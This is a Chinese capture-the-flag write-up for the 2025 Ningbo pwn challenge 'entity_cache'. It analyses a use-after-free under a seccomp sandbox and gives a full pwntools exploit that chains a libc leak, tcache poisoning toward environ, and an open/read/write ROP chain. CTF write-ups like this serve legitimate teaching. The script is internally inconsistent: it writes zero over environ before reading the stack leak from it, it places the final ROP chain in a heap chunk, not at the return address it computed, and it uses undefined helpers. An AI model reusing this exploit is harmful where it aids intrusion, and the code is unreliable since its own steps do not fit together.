2025宁波网络安全大赛预赛pwn:entity_cache 详解
字数 1156 2025-09-04 23:22:12

2025宁波网络安全大赛预赛PWN题:entity_cache 详细解析

题目基本情况

保护机制

  • Arch: amd64-64-little
  • RELRO: Full RELRO
  • Stack: Canary found
  • NX: NX enabled
  • PIE: PIE enabled
  • Stripped: No

沙箱限制

通过seccomp禁用execve系统调用:

line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000  return KILL
0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

程序功能

程序提供5个选项:

  1. Inject Fragment - 申请内存并写入数据
  2. Override Fragment - 编辑已分配内存
  3. Purge Fragment - 释放内存
  4. Probe Fragment - 打印内存内容
  5. Abort Mission - 退出程序

漏洞分析

关键漏洞

  1. UAF漏洞:在release_fragment函数中释放内存后未清空指针
  2. PIE泄露mission_init函数泄露了sandbox函数的地址
  3. 堆管理缺陷:最大可分配0x500大小的chunk,可操作unsortedbin

逆向分析

main函数

int __fastcall main(int argc, const char **argv, const char **envp) {
  // 初始化并泄露PIE地址
  mission_init(argc, argv, envp);
  // 设置沙箱
  sandbox();
  
  while (1) {
    mission_menu();
    __isoc99_scanf("%d", &v4);
    getchar();
    switch (v4) {
      case 1: allocate_fragment(); break;
      case 2: edit_fragment(); break;
      case 3: release_fragment(); break;
      case 4: inspect_fragment(); break;
      case 5: return 0;
      default: puts("[!] Invalid Operation Code."); break;
    }
  }
}

allocate_fragment函数

unsigned __int64 allocate_fragment() {
  // 可申请最大0x500的内存
  if (size > 0x500) {
    puts("[!] Invalid sector size.");
    exit(0);
  }
  cache_size[idx] = size;
  cache[idx] = malloc(size);
  read(0, (void *)cache[idx], cache_size[idx]);
}

release_fragment函数

unsigned __int64 release_fragment() {
  if (idx <= 9 && cache[idx]) {
    free((void *)cache[idx]); // 指针未清空,UAF漏洞
    puts("[ENTITY] Fragment purged from cache.");
  }
}

利用思路

步骤1:泄露libc地址

  1. 申请一个unsortedbin大小的chunk(如0x488)
  2. 申请一个小chunk作为分隔(如0x38)
  3. 释放第一个chunk,使其进入unsortedbin
  4. 通过UAF读取fd指针,泄露main_arena地址

步骤2:确定libc版本

  • 通过main_arena地址计算libc基址
  • 根据偏移确定libc版本(本题为2.27)

步骤3:tcache poisoning攻击

  1. 利用UAF修改tcache的fd指针
  2. 将指针数组中的指针修改为environ变量地址
  3. 读取environ变量获取栈地址

步骤4:ROP绕过沙箱

  1. 计算main函数返回地址在栈上的位置
  2. 构造ROP链实现open/read/write系统调用
  3. 通过ROP读取flag文件

完整利用代码(Python)

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 辅助函数
def cmd(i, prompt=b"Select Operation Code: "):
    sla(prompt, i)

def add(idx, size, ctx):
    cmd('1')
    sla(b"id > ", str(idx).encode())
    sla(b"size > ", str(size).encode())
    sla(b"fragment > ", ctx)

def edit(idx, ctx):
    cmd('2')
    sla(b"id > ", str(idx).encode())
    sla(b"stream > ", ctx)

def dele(idx):
    cmd('3')
    sla(b"id > ", str(idx).encode())

def show(idx):
    cmd('4')
    sla(b"id > ", str(idx).encode())

# 泄露PIE地址
ru(b"[DEBUG INFO] ")
pie_leak = int(rl()[:-1], 16)
elf.address = pie_leak - 0xa1a
success("pie_leak: " + hex(elf.address))

# 泄露libc
add(0, 0x488, b"1")
add(1, 0x38, b"2"*0x10)
dele(0)
show(0)
libc_leak = u64(rl()[:-1].ljust(8, b'\x00'))
libc.address = libc_leak - 0x3ebca0  # 2.27偏移
success("libc_leak: " + hex(libc_leak))
success("libc_base: " + hex(libc.address))

# tcache poisoning
add(2, 0x38, b"3"*0x10)
dele(2)
edit(2, p64(libc.sym.environ))
add(3, 0x38, b"4"*0x10)
add(4, 0x38, p64(0))

# 泄露栈地址
show(4)
stack_leak = u64(rl()[:-1].ljust(8, b'\x00'))
ret_addr = stack_leak - 0xf0
success("stack_leak: " + hex(stack_leak))
success("ret_addr: " + hex(ret_addr))

# 构造ROP链
pop_rdi = libc.address + 0x2155f
pop_rsi = libc.address + 0x23e6a
pop_rdx = libc.address + 0x1b96
pop_rax = libc.address + 0x439c8
syscall = libc.address + 0x128be9

rop = flat([
    pop_rdi, ret_addr + 0x100,  # flag路径地址
    pop_rsi, 0,
    pop_rax, 2,
    syscall,                    # open("flag", O_RDONLY)
    
    pop_rdi, 3,                # 假设返回的fd是3
    pop_rsi, ret_addr + 0x200, # 缓冲区
    pop_rdx, 0x100,
    pop_rax, 0,
    syscall,                   # read(fd, buf, 0x100)
    
    pop_rdi, 1,
    pop_rsi, ret_addr + 0x200,
    pop_rdx, 0x100,
    pop_rax, 1,
    syscall,                   # write(1, buf, 0x100)
    
    b"./flag\x00"
])

# 劫持返回地址
add(5, 0x500, rop.ljust(0x100, b'\x00') + p64(ret_addr))
cmd('5')  # 触发ROP

p.interactive()

总结与关键点

  1. 信息泄露

    • 利用PIE泄露计算基址
    • 通过unsortedbin泄露libc地址
    • 通过environ变量泄露栈地址
  2. 内存破坏

    • 利用UAF实现tcache poisoning
    • 控制指针数组实现任意地址读写
  3. 绕过沙箱

    • 构造ROP链实现文件操作
    • 使用open/read/write系统调用读取flag
  4. 注意事项

    • 需要准确判断libc版本(本题为2.27)
    • 注意tcache的特性与操作方式
    • 计算栈偏移时要考虑环境差异

通过这套利用链,可以成功绕过沙箱限制并读取flag文件。本题考察了堆漏洞利用、信息泄露、ROP构造等多个PWN题常见考点,是一道综合性较强的题目。

2025宁波网络安全大赛预赛PWN题:entity_ cache 详细解析 题目基本情况 保护机制 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No 沙箱限制 通过seccomp禁用execve系统调用: 程序功能 程序提供5个选项: Inject Fragment - 申请内存并写入数据 Override Fragment - 编辑已分配内存 Purge Fragment - 释放内存 Probe Fragment - 打印内存内容 Abort Mission - 退出程序 漏洞分析 关键漏洞 UAF漏洞 :在 release_fragment 函数中释放内存后未清空指针 PIE泄露 : mission_init 函数泄露了 sandbox 函数的地址 堆管理缺陷 :最大可分配0x500大小的chunk,可操作unsortedbin 逆向分析 main函数 allocate_ fragment函数 release_ fragment函数 利用思路 步骤1:泄露libc地址 申请一个unsortedbin大小的chunk(如0x488) 申请一个小chunk作为分隔(如0x38) 释放第一个chunk,使其进入unsortedbin 通过UAF读取fd指针,泄露main_ arena地址 步骤2:确定libc版本 通过main_ arena地址计算libc基址 根据偏移确定libc版本(本题为2.27) 步骤3:tcache poisoning攻击 利用UAF修改tcache的fd指针 将指针数组中的指针修改为environ变量地址 读取environ变量获取栈地址 步骤4:ROP绕过沙箱 计算main函数返回地址在栈上的位置 构造ROP链实现open/read/write系统调用 通过ROP读取flag文件 完整利用代码(Python) 总结与关键点 信息泄露 : 利用PIE泄露计算基址 通过unsortedbin泄露libc地址 通过environ变量泄露栈地址 内存破坏 : 利用UAF实现tcache poisoning 控制指针数组实现任意地址读写 绕过沙箱 : 构造ROP链实现文件操作 使用open/read/write系统调用读取flag 注意事项 : 需要准确判断libc版本(本题为2.27) 注意tcache的特性与操作方式 计算栈偏移时要考虑环境差异 通过这套利用链,可以成功绕过沙箱限制并读取flag文件。本题考察了堆漏洞利用、信息泄露、ROP构造等多个PWN题常见考点,是一道综合性较强的题目。